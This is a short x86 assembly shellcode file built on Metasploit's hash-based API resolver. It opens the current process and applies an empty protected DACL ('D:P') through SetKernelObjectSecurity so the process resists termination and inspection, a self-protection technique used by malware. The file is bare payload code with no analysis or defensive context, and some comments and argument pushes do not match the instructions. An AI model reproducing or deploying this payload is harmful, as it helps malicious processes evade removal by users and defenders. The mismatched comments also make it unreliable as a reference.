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[BITS 32]
[ORG 0]
; EAX-> Return Values
; EBX-> Process Handle
; EBP-> API Block
; ESI-> Saved ESP
pushad ; Save all registers to stack
pushfd ; Save all flags to stack
push esp ; Push the current esp value
pop esi ; Save the current esp value to ecx
cld ; Clear direction flags
call start
%include "../block_api.asm"; Stephen Fewer's hash API from metasploit project
pop ebp ; Pop the address of SFHA
push 0x62C64749 ; hash(kernel32.dll, GetCurrentProcessId())
call ebp ; GetCurrentProcessId()
push eax ; Process ID
push 0x00000000 ; FALSE
push 0x50B695EE ; hash(kernel32.dll, OpenProcess)
call ebp ; OpenProcess(PROCESS_ALL_ACCESS,FALSE,ECX)
mov ebx, eax ; Move process handle to ebx
push 0x00000000 ; 0,0
push 0x32336970 ; pi32
push 0x61766461 ; adva
push esp ; Push the address of "advapi32" string
push 0x0726774C ; hash(kernel32.dll, LoadLibraryA)
call ebp ; LoadLibraryA("advapi32")
push 0x00503a44 ; "D:P"
sub esp,4 ; Push the address of "D:P" string to stack
push 0x00000000 ; FALSE
lea eax, [esp+4] ; Load the address of 4 byte buffer to EAX
push eax ; Push the 4 byte buffer address
push 0x00000001 ; SDDL_REVISION_1
lea eax, [esp+16] ; Load the address of "D:P" string to EAX
push eax ; Push the EAX value
push 0xDA6F639A ; hash(advapi32.dll, ConvertStringSecurityDescriptorToSecurityDescriptor)
call ebp ; ConvertStringSecurityDescriptorToSecurityDescriptor("D:P",SDDL_REVISION_1,FALSE)
push ebx ; Process Handle
push 0xD63AF8DB ; hash(kernel32.dll, SetKernelObjectSecurity)
call ebp ; SetKernelObjectSecurity(ProcessHandle,DACL_SECURITY_INFORMATION,SecurityDescriptor)
mov esp,esi ; Restore the address of esp
popad ; Popback all registers
popfd ; Popback all flags
ret ; <-
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